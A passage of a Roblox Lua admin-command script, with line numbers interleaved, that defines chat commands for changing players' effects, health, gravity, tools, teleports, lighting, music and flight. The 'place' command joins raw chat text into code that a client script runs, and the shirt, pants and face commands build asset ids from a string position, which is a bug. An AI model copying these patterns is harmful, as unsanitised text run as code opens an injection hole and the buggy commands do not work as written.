end
1034
1035
if msg:lower():sub(1,6) == "smoke " then
1036
local plrz = GetPlr(plr, msg:lower():sub(7))
1037
for i, v in pairs(plrz) do
1038
coroutine.resume(coroutine.create(function()
1039
if v and v.Character and v.Character:findFirstChild("Torso") then 
1040
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
1041
end
1042
end))
1043
end
1044
end
1045
1046
if msg:lower():sub(1,8) == "unsmoke " then
1047
local plrz = GetPlr(plr, msg:lower():sub(9))
1048
for i, v in pairs(plrz) do
1049
coroutine.resume(coroutine.create(function()
1050
if v and v.Character and v.Character:findFirstChild("Torso") then 
1051
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
1052
end
1053
end))
1054
end
1055
end
1056
1057
if msg:lower():sub(1,9) == "sparkles " then
1058
local plrz = GetPlr(plr, msg:lower():sub(10))
1059
for i, v in pairs(plrz) do
1060
coroutine.resume(coroutine.create(function()
1061
if v and v.Character and v.Character:findFirstChild("Torso") then 
1062
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
1063
end
1064
end))
1065
end
1066
end
1067
1068
if msg:lower():sub(1,11) == "unsparkles " then
1069
local plrz = GetPlr(plr, msg:lower():sub(12))
1070
for i, v in pairs(plrz) do
1071
coroutine.resume(coroutine.create(function()
1072
if v and v.Character and v.Character:findFirstChild("Torso") then 
1073
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
1074
end
1075
end))
1076
end
1077
end
1078
1079
if msg:lower():sub(1,3) == "ff " then
1080
local plrz = GetPlr(plr, msg:lower():sub(4))
1081
for i, v in pairs(plrz) do
1082
coroutine.resume(coroutine.create(function()
1083
if v and v.Character then Instance.new("ForceField", v.Character) end
1084
end))
1085
end
1086
end
1087
1088
if msg:lower():sub(1,5) == "unff " then
1089
local plrz = GetPlr(plr, msg:lower():sub(6))
1090
for i, v in pairs(plrz) do
1091
coroutine.resume(coroutine.create(function()
1092
if v and v.Character then 
1093
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
1094
end
1095
end))
1096
end
1097
end
1098
1099
if msg:lower():sub(1,7) == "punish " then
1100
local plrz = GetPlr(plr, msg:lower():sub(8))
1101
for i, v in pairs(plrz) do
1102
coroutine.resume(coroutine.create(function()
1103
if v and v.Character then 
1104
v.Character.Parent = game:service("Lighting")
1105
end
1106
end))
1107
end
1108
end
1109
1110
if msg:lower():sub(1,9) == "unpunish " then
1111
local plrz = GetPlr(plr, msg:lower():sub(10))
1112
for i, v in pairs(plrz) do
1113
coroutine.resume(coroutine.create(function()
1114
if v and v.Character then 
1115
v.Character.Parent = game:service("Workspace")
1116
v.Character:MakeJoints()
1117
end
1118
end))
1119
end
1120
end
1121
1122
if msg:lower():sub(1,7) == "freeze " then
1123
local plrz = GetPlr(plr, msg:lower():sub(8))
1124
for i, v in pairs(plrz) do
1125
coroutine.resume(coroutine.create(function()
1126
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1127
for a, obj in pairs(v.Character:children()) do 
1128
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1129
end
1130
end
1131
end))
1132
end
1133
end
1134
1135
if msg:lower():sub(1,5) == "thaw " then
1136
local plrz = GetPlr(plr, msg:lower():sub(6))
1137
for i, v in pairs(plrz) do
1138
coroutine.resume(coroutine.create(function()
1139
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1140
for a, obj in pairs(v.Character:children()) do 
1141
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1142
end
1143
end
1144
end))
1145
end
1146
end
1147
1148
if msg:lower():sub(1,5) == "heal " then
1149
local plrz = GetPlr(plr, msg:lower():sub(6))
1150
for i, v in pairs(plrz) do
1151
coroutine.resume(coroutine.create(function()
1152
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1153
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1154
end
1155
end))
1156
end
1157
end
1158
1159
if msg:lower():sub(1,4) == "god " then
1160
local plrz = GetPlr(plr, msg:lower():sub(5))
1161
for i, v in pairs(plrz) do
1162
coroutine.resume(coroutine.create(function()
1163
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1164
v.Character.Humanoid.MaxHealth = math.huge
1165
v.Character.Humanoid.Health = 9e9
1166
end
1167
end))
1168
end
1169
end
1170
1171
if msg:lower():sub(1,6) == "ungod " then
1172
local plrz = GetPlr(plr, msg:lower():sub(7))
1173
for i, v in pairs(plrz) do
1174
coroutine.resume(coroutine.create(function()
1175
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1176
v.Character.Humanoid.MaxHealth = 100
1177
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1178
end
1179
end))
1180
end
1181
end
1182
1183
if msg:lower():sub(1,8) == "ambient " then
1184
local chk1 = msg:lower():sub(9):find(" ") + 8
1185
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1186
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1187
end
1188
1189
if msg:lower():sub(1,11) == "brightness " then
1190
game.Lighting.Brightness = msg:sub(12)
1191
end
1192
1193
if msg:lower():sub(1,5) == "time " then
1194
game.Lighting.TimeOfDay = msg:sub(6)
1195
end
1196
1197
if msg:lower():sub(1,9) == "fogcolor " then
1198
local chk1 = msg:lower():sub(10):find(" ") + 9
1199
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1200
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1201
end
1202
1203
if msg:lower():sub(1,7) == "fogend " then
1204
game.Lighting.FogEnd = msg:sub(8)
1205
end
1206
1207
if msg:lower():sub(1,9) == "fogstart " then
1208
game.Lighting.FogStart = msg:sub(10)
1209
end
1210
1211
if msg:lower():sub(1,7) == "btools " then
1212
local plrz = GetPlr(plr, msg:lower():sub(8))
1213
for i, v in pairs(plrz) do
1214
coroutine.resume(coroutine.create(function()
1215
if v and v:findFirstChild("Backpack") then 
1216
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1217
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1218
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1219
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1220
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1221
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1222
local sb
1223
local hs
1224
local pdist
1225
1226
script.Parent.Selected:connect(function(mouse)
1227
if not mouse then return end
1228
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1229
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1230
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1231
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1232
hs.MouseButton1Down:connect(function() pdist = 0 end)
1233
end)
1234
1235
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1236
end
1237
end))
1238
end
1239
end
1240
1241
if msg:lower():sub(1,12) == "startergive " then
1242
local chk1 = msg:lower():sub(13):find(" ") + 12
1243
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
1244
for i, v in pairs(plrz) do
1245
coroutine.resume(coroutine.create(function()
1246
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then 
1247
for a, tool in pairs(game.Lighting:children()) do
1248
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1249
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
1250
end
1251
end
1252
end
1253
end))
1254
end
1255
end
1256
1257
if msg:lower():sub(1,5) == "give " then
1258
local chk1 = msg:lower():sub(6):find(" ") + 5
1259
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1260
for i, v in pairs(plrz) do
1261
coroutine.resume(coroutine.create(function()
1262
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
1263
for a, tool in pairs(game.Lighting:children()) do
1264
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1265
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1266
end
1267
end
1268
end
1269
end))
1270
end
1271
end
1272
1273
if msg:lower():sub(1,12) == "removetools " then
1274
local plrz = GetPlr(plr, msg:lower():sub(13))
1275
for i, v in pairs(plrz) do
1276
coroutine.resume(coroutine.create(function()
1277
if v and v.Character and v:findFirstChild("Backpack") then 
1278
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1279
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1280
end
1281
end))
1282
end
1283
end
1284
1285
if msg:lower():sub(1,5) == "rank " then
1286
local chk1 = msg:lower():sub(6):find(" ") + 5
1287
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1288
for i, v in pairs(plrz) do
1289
coroutine.resume(coroutine.create(function()
1290
if v and v:IsInGroup(msg:sub(chk1+1)) then 
1291
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1292
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1293
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1294
end
1295
end))
1296
end
1297
end
1298
1299
if msg:lower():sub(1,7) == "damage " then
1300
local chk1 = msg:lower():sub(8):find(" ") + 7
1301
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1302
for i, v in pairs(plrz) do
1303
coroutine.resume(coroutine.create(function()
1304
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1305
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1306
end
1307
end))
1308
end
1309
end
1310
1311
if msg:lower():sub(1,5) == "grav " then
1312
local plrz = GetPlr(plr, msg:lower():sub(6))
1313
for i, v in pairs(plrz) do
1314
coroutine.resume(coroutine.create(function()
1315
if v and v.Character and v.Character:findFirstChild("Torso") then 
1316
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1317
end
1318
end))
1319
end
1320
end
1321
1322
if msg:lower():sub(1,8) == "setgrav " then
1323
local chk1 = msg:lower():sub(9):find(" ") + 8
1324
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1325
for i, v in pairs(plrz) do
1326
coroutine.resume(coroutine.create(function()
1327
if v and v.Character and v.Character:findFirstChild("Torso") then 
1328
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1329
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1330
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1331
end
1332
end))
1333
end
1334
end
1335
1336
if msg:lower():sub(1,7) == "nograv " then
1337
local plrz = GetPlr(plr, msg:lower():sub(8))
1338
for i, v in pairs(plrz) do
1339
coroutine.resume(coroutine.create(function()
1340
if v and v.Character and v.Character:findFirstChild("Torso") then 
1341
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1342
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1343
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1344
end
1345
end))
1346
end
1347
end
1348
1349
if msg:lower():sub(1,7) == "health " then
1350
local chk1 = msg:lower():sub(8):find(" ") + 7
1351
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1352
for i, v in pairs(plrz) do
1353
coroutine.resume(coroutine.create(function()
1354
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1355
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1356
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1357
end
1358
end))
1359
end
1360
end
1361
1362
if msg:lower():sub(1,6) == "speed " then
1363
local chk1 = msg:lower():sub(7):find(" ") + 6
1364
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1365
for i, v in pairs(plrz) do
1366
coroutine.resume(coroutine.create(function()
1367
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1368
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1369
end
1370
end))
1371
end
1372
end
1373
1374
if msg:lower():sub(1,5) == "team " then
1375
local chk1 = msg:lower():sub(6):find(" ") + 5
1376
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1377
for i, v in pairs(plrz) do
1378
coroutine.resume(coroutine.create(function()
1379
if v and game:findFirstChild("Teams") then 
1380
for a, tm in pairs(game.Teams:children()) do
1381
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1382
end
1383
end
1384
end))
1385
end
1386
end
1387
1388
if msg:lower():sub(1,6) == "place " then
1389
local chk1 = msg:lower():sub(7):find(" ") + 6
1390
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1391
for i, v in pairs(plrz) do
1392
coroutine.resume(coroutine.create(function()
1393
if v and v:findFirstChild("PlayerGui") then 
1394
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1395
end
1396
end))
1397
end
1398
end
1399
1400
if msg:lower():sub(1,3) == "tp " then
1401
local chk1 = msg:lower():sub(4):find(" ") + 3
1402
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1403
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1404
for i, v in pairs(plrz) do
1405
coroutine.resume(coroutine.create(function()
1406
for i2, v2 in pairs(plrz2) do
1407
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1408
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1409
end
1410
end
1411
end))
1412
end
1413
end
1414
1415
if msg:lower():sub(1,7) == "change " then
1416
local chk1 = msg:lower():sub(8):find(" ") + 7
1417
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1418
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1419
for i, v in pairs(plrz) do
1420
coroutine.resume(coroutine.create(function()
1421
if v and v:findFirstChild("leaderstats") then 
1422
for a, st in pairs(v.leaderstats:children()) do
1423
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1424
end
1425
end
1426
end))
1427
end
1428
end
1429
1430
if msg:lower():sub(1,6) == "shirt " then
1431
local chk1 = msg:lower():sub(7):find(" ") + 6
1432
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1433
for i, v in pairs(plrz) do
1434
coroutine.resume(coroutine.create(function()
1435
if v and v.Character then 
1436
for i,v in pairs(v.Character:children()) do
1437
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1438
end
1439
end
1440
end))
1441
end
1442
end
1443
1444
if msg:lower():sub(1,6) == "pants " then
1445
local chk1 = msg:lower():sub(7):find(" ") + 6
1446
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1447
for i, v in pairs(plrz) do
1448
coroutine.resume(coroutine.create(function()
1449
if v and v.Character then 
1450
for i,v in pairs(v.Character:children()) do
1451
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1452
end
1453
end
1454
end))
1455
end
1456
end
1457
1458
if msg:lower():sub(1,5) == "face " then
1459
local chk1 = msg:lower():sub(6):find(" ") + 5
1460
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1461
for i, v in pairs(plrz) do
1462
coroutine.resume(coroutine.create(function()
1463
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1464
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1465
end
1466
end))
1467
end
1468
end
1469
1470
---------------------
1471
--   FunCommands   --
1472
---------------------
1473
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1474
	
1475
if msg:lower():sub(1,8) == "swagify " then
1476
local plrz = GetPlr(plr, msg:lower():sub(9))
1477
for i, v in pairs(plrz) do
1478
coroutine.resume(coroutine.create(function()
1479
if v and v.Character then
1480
for i,v in pairs(v.Character:children()) do
1481
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1482
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1483
end
1484
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1485
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1486
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1487
local torso = plr.Character.Torso
1488
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1489
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1490
p.Size = Vector3.new(.2,.2,.2)
1491
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1492
local motor1 = Instance.new("Motor", p)
1493
motor1.Part0 = p
1494
motor1.Part1 = torso
1495
motor1.MaxVelocity = .01
1496
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1497
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1498
local wave = false
1499
repeat wait(1/44)
1500
local ang = 0.1
1501
local oldmag = torso.Velocity.magnitude
1502
local mv = .002
1503
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1504
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1505
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1506
motor1.DesiredAngle = -ang
1507
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1508
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1509
if torso.Velocity.magnitude < .1 then wait(.1) end
1510
until not p or p.Parent ~= torso.Parent
1511
script:Destroy()
1512
]] cl.Parent = v.PlayerGui cl.Disabled = false
1513
end
1514
end))
1515
end
1516
end
1517
1518
if msg:lower():sub(1,6) == "music " then
1519
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1520
local id = msg:sub(7)
1521
local pitch = 1
1522
if tostring(id):lower():find("caramell") then id = 2303479 end
1523
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1524
if tostring(id):find("rick") then id = 2027611 end
1525
if tostring(id):find("halo") then id = 1034065  end
1526
if tostring(id):find("pokemon") then id = 1372261 end
1527
if tostring(id):find("cursed") then id = 1372257 end
1528
if tostring(id):find("extreme") then id = 11420933 end
1529
if tostring(id):find("awaken") then id = 27697277 end
1530
if tostring(id):find("alone") then id = 27697392 end
1531
if tostring(id):find("mario") then id = 1280470 end
1532
if tostring(id):find("choir") then id = 1372258 end
1533
if tostring(id):find("chrono") then id = 1280463 end
1534
if tostring(id):find("dotr") then id = 11420922 end
1535
if tostring(id):find("entertain") then id = 27697267 end
1536
if tostring(id):find("fantasy") then id = 1280473 end
1537
if tostring(id):find("final") then id = 1280414 end
1538
if tostring(id):find("emblem") then id = 1372259 end
1539
if tostring(id):find("flight") then id = 27697719 end
1540
if tostring(id):find("banjo") then id = 27697298 end
1541
if tostring(id):find("gothic") then id = 27697743 end
1542
if tostring(id):find("hiphop") then id = 27697735 end
1543
if tostring(id):find("intro") then id = 27697707 end
1544
if tostring(id):find("mule") then id = 1077604 end
1545
if tostring(id):find("film") then id = 27697713 end
1546
if tostring(id):find("nezz") then id = 8610025 end
1547
if tostring(id):find("angel") then id = 1372260 end
1548
if tostring(id):find("resist") then id = 27697234 end
1549
if tostring(id):find("schala") then id = 5985787 end
1550
if tostring(id):find("organ") then id = 11231513 end
1551
if tostring(id):find("tunnel") then id = 9650822 end
1552
if tostring(id):find("spanish") then id = 5982975 end
1553
if tostring(id):find("venom") then id = 1372262 end
1554
if tostring(id):find("wind") then id = 1015394 end
1555
if tostring(id):find("guitar") then id = 5986151 end
1556
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1557
end
1558
1559
if msg:lower() == "stopmusic" then
1560
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1561
end
1562
1563
if msg:lower() == "musiclist" then
1564
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1565
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1566
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1567
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1568
end
1569
1570
if msg:lower():sub(1,4) == "fly " then
1571
local plrz = GetPlr(plr, msg:lower():sub(5))
1572
for i, v in pairs(plrz) do
1573
coroutine.resume(coroutine.create(function()
1574
if v and v:findFirstChild("PlayerGui") then
1575
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
1576
local mouse = game.Players.LocalPlayer:GetMouse() 
1577
repeat wait() until mouse
1578
local plr = game.Players.LocalPlayer 
1579
local torso = plr.Character.Torso 
1580
local flying = true
1581
local deb = true 
1582
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
1583
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1584
local maxspeed = 50 
1585
local speed = 0 
1586
function Fly() 
1587
local bg = Instance.new("BodyGyro", torso) 
1588
bg.P = 9e4 
1589
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
1590
bg.cframe = torso.CFrame 
1591
local bv = Instance.new("BodyVelocity", torso) 
1592
bv.velocity = Vector3.new(0,0.1,0) 
1593
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
1594
repeat wait() 
1595
plr.Character.Humanoid.PlatformStand = true 
1596
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
1597
speed = speed+.5+(speed/maxspeed) 
1598
if speed > maxspeed then 
1599
speed = maxspeed 
1600
end 
1601
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
1602
speed = speed-1 
1603
if speed < 0 then 
1604
speed = 0 
1605
end 
1606
end 
1607
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
1608
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1609
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
1610
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
1611
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1612
else 
1613
bv.velocity = Vector3.new(0,0.1,0) 
1614
end 
1615
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
1616
until not flying 
1617
ctrl = {f = 0, b = 0, l = 0, r = 0} 
1618
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1619
speed = 0 
1620
bg:Destroy() 
1621
bv:Destroy() 
1622
plr.Character.Humanoid.PlatformStand = false 
1623
end 
1624
mouse.KeyDown:connect(function(key) 
1625
if key:lower() == "e" then 
1626
if flying then flying = false 
1627
else 
1628
flying = true 
1629
Fly() 
1630
end 
1631
elseif key:lower() == "w" then 
1632
ctrl.f = 1 
1633
elseif key:lower() == "s" then 
1634
ctrl.b = -1 
1635
elseif key:lower() == "a" then 
1636
ctrl.l = -1 
1637
elseif key:lower() == "d" then 
1638
ctrl.r = 1 
1639
end 
1640
end) 
1641
mouse.KeyUp:connect(function(key) 
1642
if key:lower() == "w" then 
1643
ctrl.f = 0 
1644
elseif key:lower() == "s" then 
1645
ctrl.b = 0 
1646
elseif key:lower() == "a" then 
1647
ctrl.l = 0 
1648
elseif key:lower() == "d" then 
1649
ctrl.r = 0 
1650
end 
1651
end)
1652
Fly()]]
1653
cl.Parent = v.PlayerGui cl.Disabled = false
1654
end
1655
end))
1656
end
1657
end
1658
1659
if msg:lower():sub(1,6) == "unfly " then
1660
local plrz = GetPlr(plr, msg:lower():sub(7))
1661
for i, v in pairs(plrz) do
1662
coroutine.resume(coroutine.create(function()
1663
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1664
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1665
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1666
wait(.1) v.Character.Humanoid.PlatformStand = false
1667
end
1668
end))
1669
end
1670
end
1671
1672
if msg:lower() == "disco" then
1673
for i, v in pairs(lobjs) do v:Destroy() end
1674
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1675
game.Lighting.Ambient = color
1676
game.Lighting.FogColor = color
1677
until nil]]
1678
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1679
end
1680
1681
if msg:lower() == "flash" then
1682
for i, v in pairs(lobjs) do v:Destroy() end
1683
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
1684
game.Lighting.Ambient = Color3.new(1,1,1)
1685
game.Lighting.FogColor = Color3.new(1,1,1)
1686
game.Lighting.Brightness = 1
1687
game.Lighting.TimeOfDay = 14
1688
wait(.1) 
1689
game.Lighting.Ambient = Color3.new(0,0,0)
1690
game.Lighting.FogColor = Color3.new(0,0,0)
1691
game.Lighting.Brightness = 0
1692
game.Lighting.TimeOfDay = 0
1693
until nil]]
1694
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1695
end
1696
1697
if msg:lower():sub(1,5) == "spin " then
1698
local plrz = GetPlr(plr, msg:lower():sub(6))
1699
for i, v in pairs(plrz) do
1700
coroutine.resume(coroutine.create(function()
1701
if v and v.Character and v.Character:findFirstChild("Torso") then
1702
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1703
local torso = v.Character:findFirstChild("Torso")
1704
